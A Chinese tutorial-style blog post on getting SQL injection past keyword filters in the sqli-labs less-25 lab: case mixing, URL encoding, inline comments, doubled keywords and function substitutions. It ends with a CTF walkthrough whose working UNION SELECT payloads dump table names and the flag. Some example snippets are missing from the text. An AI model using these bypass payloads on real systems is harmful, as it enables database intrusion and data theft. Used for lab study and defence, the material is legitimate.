SQL注入 当or、and等常用字符被过滤(less-25)

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入 当or、and等常用字符被过滤(less-25)相关的知识,希望对你有一定的参考价值。

参考技术A 当常用字符被注释无法使用时,通常采取以下方法(可自行搜索sql注入绕开过滤等):

如:Or、OR、oR等

如:通过hex、urlencode、url等编码
举例:如果or被过滤时,我们可以采用url编码(其相当于把ascii编码的0x给替换成%,比如o的ascii为0x6f,url编码就是%6f),这个时候我们可以试试%6fr,即把o换成url编码,也可以全换,也可以大小写的换,如果没被过滤就成功了,(如果%被过滤了的话…)
【注:这个可以积极的去使用,比如测试时and被注释,使用&&替换也失败,这个时候不妨试试%26%26(&的url编码)】

如: /* */ (这个不止可以应对字母被注释)
举例:某个过滤器能够过滤的字符如下——“select ”、”from ”、”limit ”等,注意这些字符最后面都有一个空格,这个时候我们就能通过内联注释来绕过这个过滤器,如:

【注:这个注释甚至可以穿插在关键字当中,例如被过滤了or,我们可以把 order by 改成 o/**/rder by ,参考的资料上是这么说,但本人试了没成功,不知是否依旧实用】

比如or被过滤了,我们可以往里面加or,即注入:oorr,这个时候里面的or就被删去了,剩下的组成新字符,也就是or,是个很好用的绕过方法,像这种类似的还有很多,需要我们去思考

如:&&、||
举例:

如盲注时经常用到比较,这时候要是比较符号被注释了不能用平常的方法了,所以需要用某些函数如 greatest() 【 greatest(n1,n2,n3,...) 函数返回输入参数(n1,n2,n3,...)的最大值】、least()等,比如语句: select * from users where id=1 and ascii(substr(database(),0,1))>64 就可以替换成 select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64
【注:当or被注释时,像order by这种含有相关字符的语句也同样无法使用,这个时候如果改变大小写也无用时,可以使用上述的内联注释 /**/ ,或者用别的编码形式,如果不行的话,那就只能放弃使用order by,可以尝试使用group by语句等】

SQL注入(过滤空格和--+等注释符)

1、地址:http://ctf5.shiyanbar.com/web/index_2.php(过滤了空格和--+等注释符)

思路:确定注入参数值类型,直接输入单引号,根据报错信息确定参数值类型为字符型,如下图所示。

2、正常思路输入\' or \'1\'=\'1,直接报错,信息为SQLi detected!,首先猜测or被过滤,直接去掉or,继续输入\' \'1\'=\'1,

仍然报错,信息为SQLi detected!,猜测空格被过滤,直接输入’or‘1’=‘1,如下图所示,确定空格被过滤。

3、尝试使用多行注释符(块注释符)、一对英文括号、换行符、加号来代替空格。

第一次尝试:快注释符/**/

输入\'/**/or/**/\'1\'=\'1

输入\'/**/or/**/\'1\'=\'2,无任何返回,确定块注释符可以使用。

之后分别尝试括号、换行符和加号,均不可使用,最终采用块注释符。

4、爆当前数据库中的表

\'/**/union/**/select/**/concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/having\'1\'=\'1

5、爆flag表中字段和值

 \'/**/union/**/select/**/concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=\'flag\'/**/having/**/\'1\'=\'1

\'/**/union/**/select/**/flag/**/from/**/flag/**/having/**/\'1\'=\'1

 

以上是关于SQL注入 当or、and等常用字符被过滤(less-25)的主要内容,如果未能解决你的问题,请参考以下文章

SQL注入 绕过and和or过滤

简单SQL注入

SQL注入绕过总结

13sql注入修复

SQL注入求指点

过滤掉OR的MySql注入